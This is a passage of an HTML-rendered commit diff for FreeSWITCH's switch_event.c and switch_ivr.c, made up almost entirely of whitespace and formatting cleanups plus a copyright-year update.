</span><span class="cx">                         switch_event_destroy(&amp;event);
</span><del>-        }
</del><ins>+                }
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (hi = switch_hash_first(NULL, CUSTOM_HASH); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_event_subclass_t *subclass;
</span><span class="cx">                 switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><span class="lines">@@ -634,7 +634,6 @@
</span><span class="cx">         if ((event_id != SWITCH_EVENT_CLONE &amp;&amp; event_id != SWITCH_EVENT_CUSTOM) &amp;&amp; subclass_name) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef SWITCH_EVENT_RECYCLE
</span><span class="cx">         if (switch_queue_trypop(EVENT_RECYCLE_QUEUE, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</span><span class="cx">                 *event = (switch_event_t *) pop;
</span><span class="lines">@@ -680,12 +679,13 @@
</span><span class="cx"> 
</span><span class="cx">         switch_assert(event);
</span><span class="cx"> 
</span><del>-        if (!header_name) return NULL;
-        
</del><ins>+        if (!header_name)
+                return NULL;
+
</ins><span class="cx">         hash = switch_ci_hashfunc_default(header_name, &amp;hlen);
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (hp = event-&gt;headers; hp; hp = hp-&gt;next) {
</span><del>-                if ((!hp-&gt;hash || hash == hp-&gt;hash) &amp;&amp; !strcasecmp(hp-&gt;name, header_name) ) {
</del><ins>+                if ((!hp-&gt;hash || hash == hp-&gt;hash) &amp;&amp; !strcasecmp(hp-&gt;name, header_name)) {
</ins><span class="cx">                         return hp-&gt;value;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -709,7 +709,7 @@
</span><span class="cx">         while (tp) {
</span><span class="cx">                 hp = tp;
</span><span class="cx">                 tp = tp-&gt;next;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x++;
</span><span class="cx">                 switch_assert(x &lt; 1000);
</span><span class="cx">                 hash = switch_ci_hashfunc_default(header_name, &amp;hlen);
</span><span class="lines">@@ -768,7 +768,7 @@
</span><span class="cx">         header-&gt;name = DUP(header_name);
</span><span class="cx">         header-&gt;value = data;
</span><span class="cx">         header-&gt;hash = switch_ci_hashfunc_default(header-&gt;name, &amp;hlen);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (stack == SWITCH_STACK_TOP) {
</span><span class="cx">                 header-&gt;next = event-&gt;headers;
</span><span class="cx">                 event-&gt;headers = header;
</span><span class="lines">@@ -807,8 +807,9 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_event_set_subclass_name(switch_event_t *event, const char *subclass_name)
</span><span class="cx"> {
</span><del>-        if (!event || !subclass_name) return SWITCH_STATUS_GENERR;
-        
</del><ins>+        if (!event || !subclass_name)
+                return SWITCH_STATUS_GENERR;
+
</ins><span class="cx">         switch_safe_free(event-&gt;subclass_name);
</span><span class="cx">         event-&gt;subclass_name = DUP(subclass_name);
</span><span class="cx">         switch_event_del_header(event, &quot;Event-Subclass&quot;);
</span><span class="lines">@@ -1030,23 +1031,23 @@
</span><span class="cx"> static switch_xml_t add_xml_header(switch_xml_t xml, char *name, char *value, int offset)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t header = switch_xml_add_child_d(xml, name, offset);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (header) {
</span><span class="cx">                 switch_size_t encode_len = (strlen(value) * 3) + 1;
</span><span class="cx">                 char *encode_buf = malloc(encode_len);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_assert(encode_buf);
</span><del>- 
</del><ins>+
</ins><span class="cx">                 memset(encode_buf, 0, encode_len);
</span><span class="cx">                 switch_url_encode((char *) value, encode_buf, encode_len);
</span><span class="cx">                 switch_xml_set_txt_d(header, encode_buf);
</span><span class="cx">                 free(encode_buf);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return header;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_event_xmlize(switch_event_t *event, const char *fmt, ...)
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_event_xmlize(switch_event_t *event, const char *fmt,...)
</ins><span class="cx"> {
</span><span class="cx">         switch_event_header_t *hp;
</span><span class="cx">         char *data = NULL, *body = NULL;
</span><span class="lines">@@ -1170,19 +1171,19 @@
</span><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Event queue is full!\n&quot;);
</span><span class="cx">                 switch_yield(100000);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         *event = NULL;
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
</ins><span class="cx">                                                                                                                         switch_event_callback_t callback, void *user_data, switch_event_node_t **node)
</span><span class="cx"> {
</span><span class="cx">         switch_event_node_t *event_node;
</span><span class="lines">@@ -1206,7 +1207,7 @@
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (event &lt;= SWITCH_EVENT_ALL) {
</span><span class="cx">                 switch_zmalloc(event_node, sizeof(*event_node));
</span><span class="cx">                 switch_mutex_lock(BLOCK);
</span><span class="lines">@@ -1238,8 +1239,8 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_event_bind(const char *id, switch_event_types_t event, const char *subclass_name, 
-                                                                                                  switch_event_callback_t callback, void *user_data) 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_event_bind(const char *id, switch_event_types_t event, const char *subclass_name,
+                                                                                                  switch_event_callback_t callback, void *user_data)
</ins><span class="cx"> {
</span><span class="cx">         return switch_event_bind_removable(id, event, subclass_name, callback, user_data, NULL);
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -41,7 +41,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_sound_test(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-        switch_codec_implementation_t imp = {0};
</del><ins>+        switch_codec_implementation_t imp = { 0 };
</ins><span class="cx">         switch_codec_t codec = { 0 };
</span><span class="cx">         int16_t peak = 0;
</span><span class="cx">         int16_t *data;
</span><span class="lines">@@ -54,9 +54,9 @@
</span><span class="cx">         int period_avg = 0, global_avg = 0;
</span><span class="cx">         int avg = 0;
</span><span class="cx">         int period_len;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_get_read_impl(session, &amp;imp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         period_len = imp.actual_samples_per_second / imp.samples_per_packet;
</span><span class="cx"> 
</span><span class="cx">         if (switch_core_codec_init(&amp;codec,
</span><span class="lines">@@ -64,17 +64,17 @@
</span><span class="cx">                                                            NULL,
</span><span class="cx">                                                            imp.samples_per_second,
</span><span class="cx">                                                            imp.microseconds_per_packet / 1000,
</span><del>-                                                           imp.number_of_channels, 
-                                                           SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, 
</del><ins>+                                                           imp.number_of_channels,
+                                                           SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</ins><span class="cx">                                                            switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec Error L16@%uhz %u channels %dms\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec Error L16@%uhz %u channels %dms\n&quot;,
</ins><span class="cx">                                                   imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
-        while(switch_channel_ready(channel)) {
</del><ins>+
+        while (switch_channel_ready(channel)) {
</ins><span class="cx">                 status = switch_core_session_read_frame(session, &amp;read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -88,35 +88,35 @@
</span><span class="cx">                 peak = 0;
</span><span class="cx">                 avg = 0;
</span><span class="cx">                 for (i = 0; i &lt; read_frame-&gt;samples; i++) {
</span><del>-                        const int16_t s = (int16_t)abs(data[i]);
</del><ins>+                        const int16_t s = (int16_t) abs(data[i]);
</ins><span class="cx">                         if (s &gt; peak) {
</span><span class="cx">                                 peak = s;
</span><span class="cx">                         }
</span><span class="cx">                         avg += s;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 avg /= read_frame-&gt;samples;
</span><span class="cx"> 
</span><span class="cx">                 period_sum += peak;
</span><span class="cx">                 global_sum += peak;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 global_total++;
</span><span class="cx">                 period_total++;
</span><del>-                
-                period_avg = (int)(period_sum / period_total);
</del><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CONSOLE, 
-                                                  &quot;\npacket_avg=%d packet_peak=%d period_avg=%d global_avg=%d\n\n&quot;, avg, peak, period_avg, global_avg); 
-                
-                if (period_total &gt;= period_len) {                        
-                        global_avg = (int)(global_sum / global_total);
</del><ins>+                period_avg = (int) (period_sum / period_total);
+
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CONSOLE,
+                                                  &quot;\npacket_avg=%d packet_peak=%d period_avg=%d global_avg=%d\n\n&quot;, avg, peak, period_avg, global_avg);
+
+                if (period_total &gt;= period_len) {
+                        global_avg = (int) (global_sum / global_total);
</ins><span class="cx">                         period_total = 0;
</span><span class="cx">                         period_sum = 0;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_core_codec_destroy(&amp;codec);
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -134,20 +134,20 @@
</span><span class="cx"> 
</span><span class="cx">         switch_frame_t write_frame = { 0 };
</span><span class="cx">         unsigned char *abuf = NULL;
</span><del>-        switch_codec_implementation_t imp = {0};
</del><ins>+        switch_codec_implementation_t imp = { 0 };
</ins><span class="cx">         switch_codec_t codec = { 0 };
</span><span class="cx">         int sval = 0;
</span><span class="cx">         const char *var;
</span><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        if (!switch_channel_test_flag(channel, CF_OUTBOUND) &amp;&amp; !switch_channel_test_flag(channel, CF_PROXY_MODE) &amp;&amp; 
-                !switch_channel_media_ready(channel) &amp;&amp; !switch_channel_test_flag(channel, CF_SERVICE)) {
-                if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot establish media.\n&quot;);
-                        return SWITCH_STATUS_FALSE;
-                }
-        }
-        */
</del><ins>+           if (!switch_channel_test_flag(channel, CF_OUTBOUND) &amp;&amp; !switch_channel_test_flag(channel, CF_PROXY_MODE) &amp;&amp; 
+           !switch_channel_media_ready(channel) &amp;&amp; !switch_channel_test_flag(channel, CF_SERVICE)) {
+           if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
+           switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot establish media.\n&quot;);
+           return SWITCH_STATUS_FALSE;
+           }
+           }
+         */
</ins><span class="cx"> 
</span><span class="cx">         if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                 switch_yield(ms * 1000);
</span><span class="lines">@@ -156,24 +156,24 @@
</span><span class="cx"> 
</span><span class="cx">         if (ms &gt; 100 &amp;&amp; (var = switch_channel_get_variable(channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE)) &amp;&amp; (sval = atoi(var))) {
</span><span class="cx">                 switch_core_session_get_read_impl(session, &amp;imp);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_init(&amp;codec,
</span><span class="cx">                                                                    &quot;L16&quot;,
</span><span class="cx">                                                                    NULL,
</span><span class="cx">                                                                    imp.samples_per_second,
</span><span class="cx">                                                                    imp.microseconds_per_packet / 1000,
</span><del>-                                                                   imp.number_of_channels, 
-                                                                   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, 
</del><ins>+                                                                   imp.number_of_channels,
+                                                                   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</ins><span class="cx">                                                                    switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec Error L16@%uhz %u channels %dms\n&quot;, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec Error L16@%uhz %u channels %dms\n&quot;,
</ins><span class="cx">                                                           imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Codec Activated L16@%uhz %u channels %dms\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Codec Activated L16@%uhz %u channels %dms\n&quot;,
</ins><span class="cx">                                                   imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 write_frame.codec = &amp;codec;
</span><span class="cx">                 switch_zmalloc(abuf, SWITCH_RECOMMENDED_BUFFER_SIZE);
</span><span class="cx">                 write_frame.data = abuf;
</span><span class="lines">@@ -195,7 +195,7 @@
</span><span class="cx">         if (sync) {
</span><span class="cx">                 switch_channel_audio_sync(channel);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ms) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -209,7 +209,7 @@
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_channel_test_flag(channel, CF_BREAK)) {
</span><span class="cx">                         switch_channel_clear_flag(channel, CF_BREAK);
</span><span class="cx">                         status = SWITCH_STATUS_BREAK;
</span><span class="lines">@@ -219,14 +219,14 @@
</span><span class="cx">                 if (now &gt; done || left &lt;= 0) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 switch_ivr_parse_all_events(session);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                 if (args &amp;&amp; (args-&gt;input_callback || args-&gt;buf || args-&gt;buflen)) {
</span><span class="cx">                         switch_dtmf_t dtmf;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /*
</span><span class="cx">                            dtmf handler function you can hook up to be executed when a digit is dialed during playback 
</span><span class="cx">                            if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
</span><span class="lines">@@ -244,7 +244,7 @@
</span><span class="cx">                                         status = SWITCH_STATUS_BREAK;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (args-&gt;input_callback) {
</span><span class="cx">                                 switch_event_t *event = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -272,7 +272,7 @@
</span><span class="cx">                         switch_core_session_write_frame(session, &amp;cng_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (write_frame.codec) {
</span><span class="cx">                 switch_core_codec_destroy(&amp;codec);
</span><span class="cx">         }
</span><span class="lines">@@ -569,7 +569,7 @@
</span><span class="cx">                                         switch_core_session_rwunlock(b_session);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_clear_flag(channel, CF_BROADCAST);
</span><span class="cx">                 }
</span><span class="cx">         } else if (cmd_hash == CMD_UNICAST) {
</span><span class="lines">@@ -647,7 +647,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_core_session_message_t *message;
</span><span class="cx">         int i = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (switch_core_session_dequeue_message(session, &amp;message) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 i++;
</span><span class="cx">                 switch_core_session_receive_message(session, message);
</span><span class="lines">@@ -664,7 +664,8 @@
</span><span class="cx"> 
</span><span class="cx">         switch_ivr_parse_all_messages(session);
</span><span class="cx"> 
</span><del>-        while (switch_ivr_parse_next_event(session) == SWITCH_STATUS_SUCCESS) x++;
</del><ins>+        while (switch_ivr_parse_next_event(session) == SWITCH_STATUS_SUCCESS)
+                x++;
</ins><span class="cx"> 
</span><span class="cx">         if (x) {
</span><span class="cx">                 switch_ivr_sleep(session, 0, SWITCH_TRUE, NULL);
</span><span class="lines">@@ -687,9 +688,9 @@
</span><span class="cx">         const char *to;
</span><span class="cx">         int timeout = 0;
</span><span class="cx">         time_t expires = 0;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_test_flag(channel, CF_CONTROLLED)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot park channels that are under control already.\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -698,7 +699,7 @@
</span><span class="cx">         if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_get_state(channel) == CS_RESET) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((to = switch_channel_get_variable(channel, &quot;park_timeout&quot;))) {
</span><span class="cx">                 if ((timeout = atoi(to)) &lt; 0) {
</span><span class="cx">                         timeout = 0;
</span><span class="lines">@@ -718,13 +719,13 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         while (switch_channel_ready(channel) &amp;&amp; switch_channel_test_flag(channel, CF_CONTROLLED) &amp;&amp; switch_channel_test_flag(channel, CF_PARK)) {
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (!rate &amp;&amp; switch_channel_media_ready(channel)) {
</span><span class="cx">                         switch_core_session_get_read_impl(session, &amp;read_impl);
</span><span class="cx">                         rate = read_impl.actual_samples_per_second;
</span><span class="cx">                         bpf = read_impl.decoded_bytes_per_packet;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (rate) {
</span><span class="cx">                         status = switch_core_session_read_frame(session, &amp;read_frame, SWITCH_IO_FLAG_NONE, stream_id);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -782,8 +783,7 @@
</span><span class="cx">                                                         tstatus = switch_core_codec_decode(read_codec,
</span><span class="cx">                                                                                                                            &amp;conninfo-&gt;read_codec,
</span><span class="cx">                                                                                                                            read_frame-&gt;data,
</span><del>-                                                                                                                           read_frame-&gt;datalen,
-                                                                                                                           read_impl.actual_samples_per_second, decoded, &amp;dlen, &amp;rate, &amp;flags);
</del><ins>+                                                                                                                           read_frame-&gt;datalen, read_impl.actual_samples_per_second, decoded, &amp;dlen, &amp;rate, &amp;flags);
</ins><span class="cx">                                                 }
</span><span class="cx">                                                 switch (tstatus) {
</span><span class="cx">                                                 case SWITCH_STATUS_NOOP:
</span><span class="lines">@@ -855,7 +855,8 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout, uint32_t abs_timeout)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout,
+                                                                                                                                   uint32_t abs_timeout)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -954,31 +955,31 @@
</span><span class="cx">         uint32_t eff_timeout = 0;
</span><span class="cx">         switch_frame_t write_frame = { 0 };
</span><span class="cx">         unsigned char *abuf = NULL;
</span><del>-        switch_codec_implementation_t imp = {0};
</del><ins>+        switch_codec_implementation_t imp = { 0 };
</ins><span class="cx">         switch_codec_t codec = { 0 };
</span><span class="cx">         int sval = 0;
</span><span class="cx">         const char *var;
</span><span class="cx"> 
</span><span class="cx">         if ((var = switch_channel_get_variable(channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE)) &amp;&amp; (sval = atoi(var))) {
</span><span class="cx">                 switch_core_session_get_read_impl(session, &amp;imp);
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_init(&amp;codec,
</span><span class="cx">                                                                    &quot;L16&quot;,
</span><span class="cx">                                                                    NULL,
</span><span class="cx">                                                                    imp.samples_per_second,
</span><span class="cx">                                                                    imp.microseconds_per_packet / 1000,
</span><del>-                                                                   imp.number_of_channels, 
-                                                                   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, 
</del><ins>+                                                                   imp.number_of_channels,
+                                                                   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</ins><span class="cx">                                                                    switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec Error L16@%uhz %u channels %dms\n&quot;, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec Error L16@%uhz %u channels %dms\n&quot;,
</ins><span class="cx">                                                           imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Codec Activated L16@%uhz %u channels %dms\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Codec Activated L16@%uhz %u channels %dms\n&quot;,
</ins><span class="cx">                                                   imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 write_frame.codec = &amp;codec;
</span><span class="cx">                 switch_zmalloc(abuf, SWITCH_RECOMMENDED_BUFFER_SIZE);
</span><span class="cx">                 write_frame.data = abuf;
</span><span class="lines">@@ -1033,7 +1034,7 @@
</span><span class="cx">                 switch_ivr_parse_all_events(session);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (eff_timeout) {
</span><span class="cx">                         digit_elapsed = (uint32_t) ((switch_micro_time_now() - digit_started) / 1000);
</span><span class="cx"> 
</span><span class="lines">@@ -1046,7 +1047,7 @@
</span><span class="cx">                 if (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                         switch_dtmf_t dtmf = { 0 };
</span><span class="cx">                         switch_size_t y;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (eff_timeout) {
</span><span class="cx">                                 eff_timeout = digit_timeout;
</span><span class="cx">                                 digit_started = switch_micro_time_now();
</span><span class="lines">@@ -1065,7 +1066,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 buf[x++] = dtmf.digit;
</span><span class="cx">                                 buf[x] = '\0';
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (x &gt;= buflen || x &gt;= maxdigits) {
</span><span class="cx">                                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                 }
</span><span class="lines">@@ -1084,7 +1085,7 @@
</span><span class="cx">                                 switch_generate_sln_silence((int16_t *) write_frame.data, write_frame.samples, sval);
</span><span class="cx">                                 switch_core_session_write_frame(session, &amp;write_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1265,7 +1266,7 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_channel_set_flag(channel, CF_REDIRECT);
</span><span class="cx">                 switch_channel_set_flag(channel, CF_RESET);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((flags &amp; SMF_FORCE) || !switch_channel_test_flag(channel, CF_PROXY_MODE)) {
</span><span class="cx">                         if ((flags &amp; SMF_REBRIDGE) &amp;&amp; (other_uuid = switch_channel_get_variable(channel, SWITCH_BRIDGE_VARIABLE)) &amp;&amp;
</span><span class="cx">                                 (other_session = switch_core_session_locate(other_uuid))) {
</span><span class="lines">@@ -1280,7 +1281,7 @@
</span><span class="cx">                                 switch_channel_wait_for_flag(other_channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
</span><span class="cx">                                 switch_channel_wait_for_flag(other_channel, CF_MEDIA_SET, SWITCH_TRUE, 10000, NULL);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_core_session_receive_message(session, &amp;msg);
</span><span class="cx"> 
</span><span class="cx">                         if (!switch_core_session_in_thread(session)) {
</span><span class="lines">@@ -1290,7 +1291,7 @@
</span><span class="cx">                                 switch_channel_wait_for_flag(channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
</span><span class="cx">                                 switch_channel_wait_for_flag(channel, CF_MEDIA_SET, SWITCH_TRUE, 10000, NULL);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (other_channel) {
</span><span class="cx">                                 if (swap) {
</span><span class="cx">                                         switch_ivr_signal_bridge(other_session, session);
</span><span class="lines">@@ -1344,7 +1345,7 @@
</span><span class="cx"> 
</span><span class="cx">         if ((profile = switch_channel_get_caller_profile(channel))) {
</span><span class="cx">                 const char *var;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(dialplan)) {
</span><span class="cx">                         dialplan = profile-&gt;dialplan;
</span><span class="cx">                         if (!zstr(dialplan) &amp;&amp; !strcasecmp(dialplan, &quot;inline&quot;)) {
</span><span class="lines">@@ -1375,7 +1376,7 @@
</span><span class="cx">                 if ((var = switch_channel_get_variable(channel, &quot;force_transfer_context&quot;))) {
</span><span class="cx">                         context = var;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 new_profile = switch_caller_profile_clone(session, profile);
</span><span class="cx"> 
</span><span class="cx">                 new_profile-&gt;dialplan = switch_core_strdup(new_profile-&gt;pool, dialplan);
</span><span class="lines">@@ -1428,8 +1429,8 @@
</span><span class="cx">                 msg.from = __FILE__;
</span><span class="cx">                 switch_core_session_receive_message(session, &amp;msg);
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Transfer %s to %s[%s@%s]\n&quot;, switch_channel_get_name(channel), dialplan, extension,
-                                                  context);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Transfer %s to %s[%s@%s]\n&quot;, switch_channel_get_name(channel), dialplan,
+                                                  extension, context);
